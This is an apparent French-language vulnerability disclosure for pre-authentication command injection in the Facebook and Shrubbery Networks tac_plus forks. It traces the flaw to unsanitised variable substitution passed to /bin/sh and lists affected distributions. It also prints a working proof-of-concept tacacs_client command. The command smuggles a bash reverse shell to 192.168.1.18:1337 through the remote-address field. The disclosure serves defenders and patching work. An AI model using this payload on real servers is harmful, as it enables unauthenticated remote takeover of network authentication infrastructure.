
tac_plus Vulnérabilité d'exécution de commande à distance avant authentification (CVE-2023-45239 et CVE-2023-48643)
Ce dépôt contient des informations sur une vulnérabilité d'exécution de commande à distance sans authentification dans différentes implémentations open-source de tac_plus. Les deux forks suivants sont concernés :
Cependant, les deux forks sont basés sur un kit de développement Cisco pour TACACS+ qui a été open-sourcé il y a plus de 16 ans. La vulnérabilité existait déjà dans le kit de développement et a été forké dans les deux projets. Il convient de noter que cette recherche ne s'est concentrée que sur les deux forks mentionnés ci-dessus, il pourrait y avoir d'autres forks qui sont également concernés.
Le graphique suivant montre la relation entre les forks, tous sont concernés :
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
Aucune source officielle pour le kit de développement Cisco n'a été trouvée et il n'est plus maintenu.
L'exemple suivant fait référence au code du dépôt facebook/tac_plus car il est disponible sur GitHub (le kit de développement Cisco et le fork Shrubbery Networks ne sont que des tarballs). Cependant, le code affecté est le même dans tous les projets.
Lorsqu'un paquet arrive, la fonction start_session() est appelée pour déterminer le type du paquet entrant (authentification, autorisation ou comptabilité). Nous nous concentrons sur les paquets d'autorisation qui sont traités par author() → do_author(), qui appelle ensuite pre_authorization(). Cette fonction vérifie si le nom d'utilisateur dans le paquet TACACAS+ a une commande before authorization configurée et l'exécute via call_pre_process(). Le fichier de configuration suivant (tac_plus.conf) montre un utilisateur avec une commande before authorization configurée :
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
Cette fonction prend la commande configurée dans before authorization et substitue les variables (par ex. $user, $name ou $address) avec des valeurs provenant du paquet TACACAS+ entrant. Cependant, cela est fait sans aucune validation ou assainissement des entrées.
La chaîne de commande résultante est ensuite passée à my_popen() qui exécute la chaîne de commande dans l'appel execl() suivant :
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
Cela permet l'injection de commandes supplémentaires via le champ d'adresse distante dans les paquets TACACS+ (voir rem_addr, rem_addr_len dans RFC8907). Le même principe pourrait également fonctionner pour d'autres champs d'entrée.
Il convient de noter que la vulnérabilité est déclenchée pendant le processus d'authentification. Par conséquent, aucun mot de passe n'est requis, seulement un nom d'utilisateur qui existe dans la configuration !
La compilation et l'exécution de tac_plus avec cette configuration sont décrites dans les sections suivantes :
La commande suivante exécute tacacs_client sur le démon cible avec l'utilisateur DEFAULT. Le payload qui déclenche la vulnérabilité se trouve dans le champ d'adresse distante, qui est défini via l'argument de ligne de commande --rem-addr :
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
L'exécution de cette commande entraînera une connexion reverse shell vers 192.168.1.18:1337. Le nom d'utilisateur doit être l'un des utilisateurs qui ont une directive before authorization ou after authorization configurée dans tac_plus.cfg. La liste de commandes finale (-c service=exec) est nécessaire pour atteindre le chemin de code requis, mais la valeur importe peu.
Le paquet TACACS+ envoyé par le client est montré dans la capture d'écran suivante dans Wireshark :

La capture d'écran suivante montre une session de débogage juste avant l'exécution de la commande injectée :

Diverses distributions Linux utilisent l'un des deux forks concernés dans leurs paquets officiels (principalement le fork Shrubbery Networks). Les tableaux suivants montrent les distributions Linux et les dérivés BSD qui utilisent soit le fork Shrubbery Networks soit le fork Facebook au moment de la rédaction. La liste n'est pas exhaustive, d'autres distributions/dérivés sont très probablement également concernés.
| Distribution | Paquet | Fork |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| Dérivé | Port | Fork |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
Des exemples de reproduction de ce problème sont disponibles dans les sections suivantes :